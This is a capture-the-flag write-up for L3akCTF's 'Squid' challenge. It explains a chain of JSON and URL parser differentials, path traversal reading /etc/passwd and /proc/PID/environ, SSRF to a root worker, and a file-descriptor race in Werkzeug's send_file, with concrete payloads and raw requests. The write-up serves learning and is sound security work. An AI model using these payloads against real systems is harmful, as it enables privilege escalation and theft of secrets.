L3akCTF 2026: Squid, Explained
Exploiting Parser Differentials, Procfs Quirks, and a File Descriptor Race to Exfiltrate a Root-Only Flag in L3akCTF
A CI dashboard with a flag it cannot read
This weekend my team played L3akCTF. I only had a few hours, but we still managed to be one of the three teams that solved Squid, a very unusual web challenge.
The application looks like a small CI platform. It has registration, projects, build manifests, workers, and downloadable artifacts. The flag is placed in the container at:
/secrets/flag
owner: root:root
mode: 0600
The public application runs as ctf, so the apparent goal is impossible from
the public process alone. A direct file read can reach the path, but the user
does not have permission to open it.
The useful question is therefore not “where is the flag?” but:
What can the public app make another process do for us?
The solve has six stages. We first obtain the role required by the interesting
endpoints, then use the download route as a local file read. A second parser
differential reaches the root-only build worker. That worker places the flag in
a runner environment, and the final stage abuses the way send_file handles
procfs metadata.
The pieces we need to keep in mind
The container has three relevant processes:
| Process | User | Role in the exploit |
|---|---|---|
| Flask/Gunicorn public app | ctf |
Handles our requests and serves files |
worker.py |
root |
Reads the flag and starts runners |
runner.py |
ctf |
Inherits the expanded environment |
The startup script makes the separation explicit:
printf '%s' "${FLAG:-L3AK{missing_flag}}" > /secrets/flag
chown root:root /secrets/flag
chmod 600 /secrets/flag
unset FLAG
python /app/worker.py &
exec gosu ctf gunicorn \
--worker-class gthread \
--workers 1 \
--threads 16 \
--no-sendfile \
--bind 0.0.0.0:5000 \
public_app:app
So the public app cannot read the secret, but the root worker can. Also, the public app is one Gunicorn process with sixteen request threads. That last detail looks like a deployment setting at first; it becomes important once we start racing file descriptors.
The first break: one request, two JSON parsers
The interesting endpoints are protected by this check:
def is_staff():
return session.get("role") == "admin"
Both manifest importing and downloads call is_staff(). Registration is
supposed to create only ordinary users, so the next thing to inspect is how the
role is handled.
The endpoint parses the body with the standard library first:
raw = request.get_data()
payload = json.loads(raw)
if not isinstance(payload, dict) or not payload.get("username"):
return jsonify({"error": "username is required"}), 400
if payload.get("role", "user") == "admin":
return jsonify({
"error": "self-service accounts cannot request the admin role"
}), 403
But it parses the exact same bytes again before storing the user:
record = ujson.loads(raw)
username = str(record.get("username"))[:64]
role = record.get("role", "user")
USERS[username] = {
"role": role,
"password": record.get("password"),
}
session["username"] = username
session["role"] = role
The browser is not even allowed to submit a role through the normal form, but that is not a security boundary. We can send JSON directly. A normal attempt fails as expected:
{"username":"solver","password":"x","role":"admin"}
The two parser calls give us an opening. With the challenge's pinned
ujson==5.0.0, this body is interpreted differently:
{"username":"solver","password":"x","role":"admin\ud800"}
In this version, the standard json parser keeps the dangling surrogate as
part of the value, so the value is not exactly admin. ujson normalizes the
same value to admin when the user record is stored.
| Parser | Used for | Result for this body |
|---|---|---|
json.loads |
Rejecting an admin role | The value is not exactly admin |
ujson.loads |
Saving the user and session | The value becomes admin |
This is not just malformed input. Both parsers accept the body; the problem is that authorization is checked on one interpretation and authorization state is saved from another.
The behavior is related to the ujson surrogate handling advisory, and the general class of ambiguities is explained in Bishop Fox's JSON interoperability research.
The resulting request is enough to leave us with a session whose role is
admin, which unlocks the two useful endpoints.
An accidental file server
The download handler looks short enough to be harmless:
@app.get("/download/<path:target>")
def download(target):
if not is_staff():
return jsonify({
"error": "artifact access is limited to organisation staff"
}), 403
path = os.path.join(WORK, target)
try:
return send_file(path)
except OSError:
return jsonify({"error": "artifact not found"}), 404
WORK is /work, but target is not constrained to stay below it. For
example:
The route receives /download/JOB_ID/../../etc/passwd. The application joins
that value to /work, producing /work/JOB_ID/../../etc/passwd, and the
filesystem resolves the parent-directory components to /etc/passwd.
That gives us a local file read as ctf. The challenge's proxy and the route
both make path encoding worth paying attention to, so the solver sends these
requests as raw HTTP and keeps the traversal path intact.
Reading an ordinary file works immediately:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
The primitive is real, but it does not solve the challenge. /secrets/flag is
still readable only by root.
The next obvious experiment is procfs. A process environment should be interesting, especially because we know the public app has its own process:
/download/JOB_ID/../../proc/self/environ
The response is surprising:
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 0
Content-Disposition: inline; filename=environ
It finds the file, but sends no body. We will come back to that after getting the flag into a process we are allowed to inspect.
Finding the internal service
The manifest endpoint is now available because we are staff. It wants to fetch manifests only from trusted mirrors:
TRUSTED_MIRRORS = {
"manifests.buildfarm.internal",
"cdn.buildfarm.internal",
"registry.buildfarm.internal",
}
@app.post("/api/manifest")
def api_manifest():
if not is_staff():
return jsonify({
"error": "importing manifests is limited to organisation staff"
}), 403
body = request.get_json(silent=True) or {}
url = body.get("url", "")
mirror = urllib.parse.urlparse(url).hostname
if mirror not in TRUSTED_MIRRORS:
return jsonify({
"error": "mirror is not on the trusted list",
"mirror": mirror,
}), 403
resp = requests.get(url, timeout=5, allow_redirects=False)
return Response(resp.content, status=resp.status_code,
content_type=resp.headers.get("Content-Type", "application/json"))
The input is checked with urllib.parse, then passed to requests. Looking
through requests, its URL preparation eventually uses
urllib3.util.parse_url,
not the standard library parser.
This is another parser differential. The useful shape is:
http://127.0.0.1:8000\@manifests.buildfarm.internal/?spec=ENCODED_SPEC
The two interpretations are:
| Component | Interpretation |
|---|---|
urllib.parse.urlparse(url).hostname |
manifests.buildfarm.internal |
urllib3.parse_url(url) |
Host 127.0.0.1, port 8000 |
The backslash changes how the authority is divided. The allowlist sees a
trusted hostname, while the HTTP client connects to the root worker listening
on 127.0.0.1:8000.
This exact family of bugs is discussed in SonarSource's article on URL parsing differentials.
The SSRF request reaches this catch-all route in worker.py:
@app.route("/", defaults={"path": ""}, methods=["GET", "POST"])
@app.route("/<path:path>", methods=["GET", "POST"])
def schedule(path):
raw = request.args.get("spec") or request.form.get("spec")
...
The root-only service is no longer isolated from us.
Moving the flag across the privilege boundary
The worker is started directly by the entrypoint, before gosu ctf is used for
Gunicorn, so it stays root. It loads the secret once at startup:
VAULT_FILE = "/secrets/flag"
def load_vault():
with open(VAULT_FILE, "r") as f:
return {"FLAG": f.read().strip()}
VAULT = load_vault()
This is the part that initially sounds like “the worker puts the flag in its
environment”, but that is not quite what happens. VAULT is an in-memory
Python dictionary in the root worker. The flag is copied into a child
environment only when a manifest value references $FLAG.
def materialise_env(env):
resolved = {}
for key, val in env.items():
if not isinstance(key, str):
continue
if _unsafe_env_name(key):
continue
if isinstance(val, str):
resolved[key] = string.Template(val).safe_substitute(VAULT)
else:
resolved[key] = str(val)
return resolved
The string.Template
syntax is enough for us. We submit this build specification through the SSRF:
{
"task": "build",
"ttl": 90,
"env": {
"LEAK": "$FLAG",
"PAD": "AAAA...",
"IDX": "0"
}
}
The worker takes the expanded values and starts the runner as ctf:
child_env.update(materialise_env(env))
proc = subprocess.Popen(
[sys.executable, "-I", RUNNER, "build", workdir, str(ttl)],
env=child_env,
user=AGENT_UID,
group=AGENT_GID,
cwd=workdir,
)
After the Popen, the state looks like this:
root worker:
VAULT["FLAG"] = L3AK{...}
runner, running as ctf:
LEAK=L3AK{...}
PAD=AAAA...
IDX=0
The runner does not need to call getenv("LEAK") or use the value in Python.
The environment is already part of the process state created by execve, and
Linux exposes that state through /proc/PID/environ. The runner only needs
to stay alive long enough for us to find it and race the file-serving code.
Its build log gives us a stable way to identify the PID:
def do_build(workdir, ttl):
log = os.path.join(workdir, "build.log")
with open(log, "w") as f:
f.write("[buildfarm] agent online\n")
f.write("[buildfarm] build succeeded\n")
deadline = time.time() + ttl
while time.time() < deadline:
time.sleep(0.2)
Since the runner's working directory is the job directory, the solver scans:
/download/JOB_ID/../../proc/RUNNER_PID/cwd/build.log
Finding [buildfarm] agent online tells us that RUNNER_PID is a live runner
with the flag in its environment.
Why procfs says zero when it can still return data
Now we can explain the empty response from earlier. The direct target is the runner process's procfs environment file:
/download/JOB_ID/../../proc/RUNNER_PID/environ
The public app and runner are both ctf, so the access check succeeds. The
Linux proc_pid_environ(5) manual page
describes this file as a view of the environment that was present when the
process started. It is not a normal disk file with a stored length.
On Linux, the difference is easy to reproduce with the current shell process:
stat -c '%s' /proc/$$/environ
# 0
tr '\0' '\n' < /proc/$$/environ | head
# PATH=/usr/local/bin:...
# ...
The exploit uses RUNNER_PID instead of $$, but the procfs behaviour is the
same: the kernel can provide bytes when a process reads the file, while stat
still reports st_size == 0.
That is exactly the combination that breaks this version of Werkzeug's file
server. The relevant part of
Werkzeug 2.2.3's send_file
is effectively:
path = os.path.abspath(path)
stat = os.stat(path)
size = stat.st_size
file = open(path, "rb")
data = wrap_file(environ, file)
response = response_class(data, direct_passthrough=True)
response.content_length = size
For a regular file, this is sensible. For procfs, the operations disagree:
| Operation | What happens |
|---|---|
os.stat("/proc/RUNNER_PID/environ") |
Reports size 0 |
open("/proc/RUNNER_PID/environ") |
Produces LEAK=L3AK{...} bytes |
| HTTP response | Uses Content-Length: 0 |
Gunicorn honors the response length, so it sends no body. This is why the
download primitive can read /etc/passwd but cannot directly deliver the
runner environment.
The Werkzeug documentation
also warns that send_file assumes a path is trusted. Here the path traversal
is one bug, and the fact that the same function serves special files is the
second bug we can build on.
Descriptor roulette
Linux exposes a process's open descriptors under /proc/PID/fd. The
proc_pid_fd(5) documentation
describes these entries as links to the files currently held open by that
process.
The special path we race is:
/proc/self/fd/N
Here, self is the process performing the lookup. Since the vulnerable route
is handled by Gunicorn, /proc/self/fd/N means Gunicorn's descriptor
table, not the runner's. The runner's environment is still opened through
/proc/RUNNER_PID/environ; the trick is to make Gunicorn reuse descriptor
number N between Werkzeug's metadata lookup and its file open.
The target request is:
/download/JOB_ID/../../proc/self/fd/N
The race window is small, but the state we want is simple:
| Moment | Gunicorn fd N points to |
Result |
|---|---|---|
stat("/proc/self/fd/N") |
A regular non-empty file such as app.css |
Werkzeug records a non-zero Content-Length |
| fd reuse | A request for /proc/RUNNER_PID/environ |
The same fd number now refers to the runner's procfs environment |
open("/proc/self/fd/N") |
The reused fd symlink | The response body is read from the runner environment |
The path passed to send_file never changes. The symlink behind
/proc/self/fd/N changes between the metadata lookup and the open, so the
response length comes from one file while the bytes come from another.
This is why the one-process Gunicorn configuration matters. The requests are handled by different threads, but all of those threads share one fd table. A multi-process Gunicorn configuration would give each worker its own table and would make this particular race much less direct.
Keeping the race alive long enough to win
The solver sends three streams of requests.
First, it repeatedly opens ordinary readable files:
/download/JOB_ID/../../app/static/css/app.css
/download/JOB_ID/../../app/static/js/app.js
/download/JOB_ID/../../usr/bin/perl
/download/JOB_ID/../../usr/local/lib/libpython3.9.so.1.0
Their contents do not matter. They are present, readable by ctf, and report
nonzero sizes. They are the metadata side of the race.
Second, other threads repeatedly open:
/download/JOB_ID/../../proc/RUNNER_PID/environ
Those are the secret-bearing descriptors. Their normal HTTP responses are
empty, but the descriptors still exist briefly inside Gunicorn while
send_file handles the request.
Finally, target threads try a range of fd numbers:
/download/JOB_ID/../../proc/self/fd/10
/download/JOB_ID/../../proc/self/fd/11
...
/download/JOB_ID/../../proc/self/fd/40
Low numbers were more useful in the local container, so the solver weights them more heavily. It also uses short timeouts and a small range request so failed attempts do not block the worker pool for too long.
The API setup is convenient with requests, but the race itself uses raw HTTP
so that the exact traversal path and connection behavior stay under control:
GET /download/JOB_ID/../../proc/self/fd/12 HTTP/1.1
Host: target
Cookie: session=ADMIN_SESSION
Connection: keep-alive
The race is not about finding a magic fd number. It is about repeatedly making
stat() observe a regular file and open() resolve the same fd symlink after
Gunicorn has reused that number for /proc/RUNNER_PID/environ.
When it works, the response contains the marker we put in the manifest:
LEAK=L3AK{...}
Putting the chain together
The complete solve is:
- Register with
role: "admin\ud800"and keep the session cookie. - Use download traversal to confirm the local file read.
- Send the URL parser differential to
/api/manifestso the public app talks toworker.pyon localhost. - Ask the root worker to start long-lived runners with
LEAK: "$FLAG". - Locate the runner PIDs through
/proc/RUNNER_PID/cwd/build.log. - Use the same file-read primitive to make Gunicorn open the runner's environment.
- Race those opens against ordinary files through
/proc/self/fd/N. - Extract the
LEAKvalue from the response whose metadata came from one file and whose body came from another.
The flag's path through the system is now clear. The root worker reads
/secrets/flag into VAULT, expands $FLAG into the environment passed to
runner.py, and that environment becomes readable at
/proc/RUNNER_PID/environ. The final race makes Gunicorn serve bytes from
that procfs file while keeping the non-zero response length it measured from a
regular file.